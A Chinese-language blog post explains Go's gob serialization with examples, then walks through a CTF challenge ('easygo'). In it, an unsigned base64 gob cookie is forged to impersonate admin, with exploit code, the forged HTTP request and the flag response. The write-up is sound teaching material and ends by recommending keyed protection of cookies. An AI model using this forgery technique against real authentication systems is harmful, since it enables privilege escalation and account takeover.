

Cookie安全之Golang-gob

Go语言自带的序列化方式就是gob，一些go语言自带的包使用的序列化方式都是gob。下面介绍简单的用法。并且以次介绍cookie伪造

序列化

```
1 package main
2
3 import (
4     "bytes"
5     "encoding/gob"
6     "fmt"
7 )
8
9 type Users struct {
10     Username string
11     Password string
12 }
13
14 func main() {
15     p := Users{
16         Username: "admin",
17         Password: "admin",
18     } //定义序列化内容
19
20     buf := bytes.Buffer{} //定义一个字节容器
21
22     encoder := gob.NewEncoder(&buf) //初始化编码器
23
24     err := encoder.Encode(p) //编码
25     if err != nil {
26         fmt.Println("编码失败, 错误原因: ", err)
27         return
28     }
29     fmt.Println(string(buf.Bytes())) //查看编码后的数据
30 }
```

```
E:\Gocode\Source\Source\gob>go run 1.go
-Users Username
      Password
      adminadmin
```

反序列化

```
1 package main
2
3 import (
4     "bytes"
5     "encoding/gob"
6     "fmt"
7 )
```

```

8
9 type Users struct {
10     Username string
11     Password string
12 }
13
14 func main() {
15     s1 := Users{
16         Username: "admin",
17         Password: "admin",
18     } //定义序列化内容
19
20     buf := bytes.Buffer{}
21
22     encoder := gob.NewEncoder(&buf)
23
24     err := encoder.Encode(s1) //编码操作,相当于序列化过程哟~
25     if err != nil {
26         fmt.Println("编码失败,错误原因: ", err)
27         return
28     }
29
30     decoder := gob.NewDecoder(bytes.NewReader(buf.Bytes()))
31     fmt.Println("序列化 = ", buf.Bytes())
32
33     var s2 Users
34
35     decoder.Decode(&s2) //进行解码操作,相当于反序列化过程哟~
36     fmt.Println("反序列化= ", s2)
37 }

```

```

E:\Gocode\Source\Source\gob>go run 2.go
序列化 = [45 255 129 3 1 1 5 85 115 101 114 115 1 255 130 0 1 2 1 8 85 115 101 114 110 97 109 101 1 12 0 1 8 80 97 115 115 119 111 114 100 1 12 0 0 0 17 255 130 1 5 97 100 10
9 105 110 1 5 97 100 109 105 110 0]
反序列化= {admin admin}

```

综合

```

1 package main
2
3 import (
4     "bytes"
5     "encoding/gob"
6     "fmt"
7 )
8
9 type Users struct {
10     Username string
11     Password string
12 }
13
14 func main() {
15     User := Users{
16         Username: "admin",
17         Password: "admin",
18     }
19     var data = serialize(User)
20     fmt.Println(serialize(User)) //序列化

```

```

21
22     fmt.Println(unserialize(data)) //反序列化
23 }
24 func serialize(instance Users) []byte {
25     var result bytes.Buffer           //定义一个字节容器
26     encoder := gob.NewEncoder(&result) //初始化编码器
27     encoder.Encode(instance)           //编码 相当于序列化
28     userBytes := result.Bytes()
29     return userBytes
30 }
31 func unserialize(data []byte) Users {
32     var account Users
33     decoder := gob.NewDecoder(bytes.NewReader(data)) //定义一个字节容器 并初始化
34     decoder.Decode(&account)                         //解码 相当于反序列化
35     return account
36 }

```

上面的操作可以说是规定的，相当于直接在php中使用serialize和unserialize。只不过php帮我们封装好了，直接可以使用函数。

ctf题

来自HECTF的easygo。考察反序列化cookie伪造

我们就直接分析源代码 functions.go 是自定义了一些函数， main.go 表示路由的注册， model.go 里面就定义了一个struct结构体，而重要的是 routes.go 表示路由。

我们详细看一下 login功能

```

17 func login(w http.ResponseWriter, r *http.Request) {
18     if r.Method=="POST"{
19         r.ParseForm()
20         if r.Form["username"]==nil && r.Form["password"]==nil{
21             fmt.Fprintf(w,"username and password is required")
22             return
23         }
24         a := r.Form["username"][0]
25         fmt.Println(a)
26         if r.Form["username"][0]=="admin"{
27             fmt.Fprintf(w,"you are not admin")
28             return
29         }
30         User:=Users{
31             Username: r.Form["username"][0],
32             Password: r.Form["password"][0],
33         }
34         setCookie(w,r,cookieEncode(serialize(User)))
35         fmt.Fprintf(w,"<script>window.location.href='/home'</script>")
36     }else{
37         fmt.Fprintf(w,"Method not allowed")
38         return
39     }
40 }

```

可以看到，我们输入的username不能是 admin，然后将 User 进行序列化， cookieEncode 函数处理然后放到cookie中。

然后我们在看看 home功能

```
41 func home(w http.ResponseWriter, r *http.Request){
42     if getCookie(r)!=nil {
43         fmt.Println(getCookie(r))
44         User:=unseralize(cookieDecode(getCookie(r).(string)))
45         if User.Username=="admin"{
46             flag ,_:= ioutil.ReadFile("/flag")
47             fmt.Fprintln(w,string(flag))
48         }else{
49             fmt.Fprint(w,"only admin can see")
50         }
51     }else{
52         fmt.Fprint(w,"<script>alert('Login first my baby');</script>")
53         return
54     }
55 }
56
```

知道这里是获得cookie,然后进行 cookieDecode 函数处理，然后在反序列化，得到原来的 User。并且 Username 是admin就获得flag。

然后我们在看看序列化和反序列化和cookie函数是什么。

```
47 func serialize(instance Users) []byte{
48     var result bytes.Buffer
49     encoder := gob.NewEncoder(&result)
50     encoder.Encode(instance)
51     userBytes := result.Bytes()
52     return userBytes
53 }
54 func unseralize(data []byte) Users{
55     var account Users
56     decoder := gob.NewDecoder(bytes.NewReader(data))
57     decoder.Decode(&account)
58     return account
59 }
60 //序列化成[]byte 然后encode成string设置上去 把string decode成[]byte 然后反序列化
61 //流程: string的cookie->解密成[]byte->反序列化->成为Users对象 序列化的[]byte->加密->放cookie里
62 func cookieEncode(data []byte) string{
63     return base64.StdEncoding.EncodeToString(data)
64 }
65 func cookieDecode(data string) []byte{
66     bytesData, _ := base64.StdEncoding.DecodeString(data)
67     return bytesData
68 }
```

其实就是非常简单的操作，并且其中没有加入什么 key 和 secret，这样的话我们就可以进行 cookie伪造

```
1 //exp
2 package main
3
4 import (
5     "bytes"
6     "encoding/base64"
7     "encoding/gob"
8     "fmt"
9 )
10
11 type Users struct {
12     Username string
13     Password string
14 }
```

```

15
16 func main() {
17     User := Users{
18         Username: "admin",
19         Password: "admin",
20     }
21     fmt.Println(cookieEncode(serialize(User)))
22 }
23 func serialize(instance Users) []byte {
24     var result bytes.Buffer
25     encoder := gob.NewEncoder(&result)
26     encoder.Encode(instance)
27     userBytes := result.Bytes()
28     return userBytes
29 }
30 func cookieEncode(data []byte) string {
31     return base64.StdEncoding.EncodeToString(data)
32 }
33 //Lf+BAwEBBVzZXJzAf+CAAECAQhVc2VybmFtZQEMAAEiUGFzc3dvcnQBDAAAABH/ggEFYWRtaW4B
4BBWfkbWluAA==

```

```

GET /home HTTP/1.1
Host: 47.98.163.19:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101
Firefox/85.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://47.98.163.19:81/login
Connection: close
Cookie:
cookie=Lf+BAwEBBVzZXJzAf+CAAECAQhVc2VybmFtZQEMAAEiUGFzc3dvcnQBDAAAABH/ggEFYWRtaW4B
BWWfkbWluAA==
Upgrade-Insecure-Requests: 1
DNT: 1
Sec-GPC: 1
Cache-Control: max-age=0

```

```

HTTP/1.1 200 OK
Date: Sun, 21 Feb 2021 11:45:26 GMT
Content-Length: 43
Content-Type: text/plain; charset=utf-8
Connection: close

flag{04afc01c-dfd4-4b00-82c6-53bb21144d52}

```

总结

其实上面的ctf题主要是cookie的问题，而这个问题存在各个语言中，当我们输入的敏感数据直接简单的加密或者编码操作后在序列化放到cookie中进行认证，就可能存在cookie伪造。

而正确的做法是，在存放到cookie中进行非对称加密，并且设置 key 或者 secret。防止被伪造